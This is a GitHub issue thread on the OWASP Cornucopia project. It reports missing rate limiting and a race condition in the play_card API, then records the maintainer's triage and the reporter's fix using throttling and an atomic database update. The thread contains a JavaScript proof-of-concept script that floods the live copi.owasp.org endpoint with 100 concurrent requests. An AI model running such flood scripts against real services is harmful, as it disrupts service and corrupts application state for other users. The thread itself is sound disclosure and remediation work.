cornucopia icon indicating copy to clipboard operation
cornucopia copied to clipboard

🚨Security Issue: play_card API Vulnerable to DoS Attack - 29% Success Rate Confirmed

Open khushal-winner opened this issue 8 months ago • 2 comments

Describe the bug (watch the full video) The API endpoint PUT /api/games/:game_id/players/:player_id/card (play_card action) has no rate limiting protection. Testing shows 100 simultaneous requests are all processed, with 29 succeeding and 71 returning 406 errors. This creates a resource exhaustion vulnerability where attackers can flood the database with concurrent operations and disrupt game state integrity.

Expected behavior API should implement rate limiting to reject excessive requests with HTTP 429 status after a reasonable threshold (e.g., 10 requests per minute per IP). Only the first valid request should succeed; subsequent duplicate requests should be blocked before database operations.

Video Demo

https://github.com/user-attachments/assets/4181b3c5-12d0-4a31-bee9-84f390b78e32

Desktop (please complete the following information): OS: Any (tested on Windows) Browser: Chrome, Firefox, Safari Version: Latest

Additional context

  • Vulnerability confirmed via browser console attack script
  • Each request triggers database queries and game state updates
  • Race conditions allow multiple successful card plays (29% success rate)
  • WebSocket broadcasts triggered for each successful play
  • Production server vulnerable to DoS attacks
  • Fix: Add RateLimiterPlug to :api pipeline in router.ex

Worst-Case Scenario

  • Complete Service Outage
  • Attacker launches 10,000 concurrent requests
  • Database connection pool exhausted
  • Server crashes under load
  • Service requires manual restart

Script Used

// More sophisticated attack with timing
const attack = {
  gameId: "01KK4ANZFV6XMR14VX7R1X6T55",
  playerId: "01KK4APC64N6Z5B346S960XTQJ",
  cardId: "47369",
  
  async sendRequest(requestNum) {
    try {
      const response = await fetch(`https://copi.owasp.org/api/games/${this.gameId}/players/${this.playerId}/card`, {
        method: 'PUT',
        headers: { 'Content-Type': 'application/json' },
        body: JSON.stringify({ dealt_card_id: this.cardId })
      });
      
      console.log(`Request ${requestNum}: ${response.status} ${response.statusText}`);
      return response.status;
    } catch (error) {
      console.error(`Request ${requestNum} failed:`, error);
      return 'ERROR';
    }
  },
  
  async launchAttack(count = 100) {
    console.log(`🚀 Starting attack with ${count} requests...`);
    
    const promises = [];
    for (let i = 1; i <= count; i++) {
      promises.push(this.sendRequest(i));
    }
    
    const results = await Promise.all(promises);
    
    // Summary
    const success = results.filter(r => r === 200).length;
    const conflict = results.filter(r => r === 409).length;
    const notFound = results.filter(r => r === 404).length;
    
    console.log(`âś… Attack Complete!`);
    console.log(`📊 Results: ${success} success, ${conflict} conflicts, ${notFound} not found`);
  }
};

// Launch the attack
attack.launchAttack(100);

khushal-winner avatar Mar 07 '26 14:03 khushal-winner

another video take, @sydseter pls take a look at this anyone can know the card id because of the failed card api using #2485 , or #2486 and perform this

https://github.com/user-attachments/assets/85e54614-1390-43f4-9108-9c65e60242d1

khushal-winner avatar Mar 07 '26 14:03 khushal-winner

@khushal-winner I have assigned you

sydseter avatar Mar 19 '26 14:03 sydseter

• /home/runner/work/cornucopia/cornucopia/copi.owasp.org/lib/copi_web/router.ex:16-18 defines the API pipeline without RateLimiterPlug.

• The play_card endpoint is therefore accessible without request-rate limiting.

• copi.owasp.org/lib/copi_web/controllers/api_controller.ex:83-108 performs a read/check followed by an unconditional update. Concurrent requests can both pass validation and return success, causing duplicate broadcasts and potentially violating one-card-per-player-per-round rules.

• The existing limiter only limits browser connections and does not protect API operations.

The exact claim of guaranteed server outage from 10,000 requests is unproven, and a fixed “10 requests per minute per IP” threshold may not suit gameplay. However, the underlying absence of API protection and the race condition are real and should be addressed with endpoint-appropriate throttling plus an atomic/conditional database update. A general api throttling set at 60 requests per min should be sufficient protection.

sydseter avatar Jul 15 '26 23:07 sydseter

can i take this back and try again? this time for api protection and race condition

khushal-winner avatar Jul 21 '26 13:07 khushal-winner

Sure @khushal-winner . Thank you for your time!

sydseter avatar Jul 21 '26 14:07 sydseter

Thanks @sydseter. The follow-up in PR #3310 addresses all four points:

  1. The :api pipeline at router.ex:16-18 was dead code (no scope used it) and has been removed. The /api scope actually routes through :browser_api, which now pipes RateLimiterPlug, action: :api, so the play_card endpoint is rate limited.
  2. play_card is now atomic: inside a transaction the player row is locked (SELECT ... FOR UPDATE) and the card update only applies when no other card by that player was played in the current round (UPDATE ... WHERE NOT EXISTS). A losing concurrent request gets 409.
  3. The :api bucket is enforced independently of the connection bucket.
  4. Endpoint-appropriate throttle of 60 req/min per IP plus the atomic/conditional update, both test-covered (including an end-to-end 429 through the router).

Full suite: 485 tests, 0 failures, 95.3% coverage (threshold 95%).

khushal-winner avatar Aug 02 '26 05:08 khushal-winner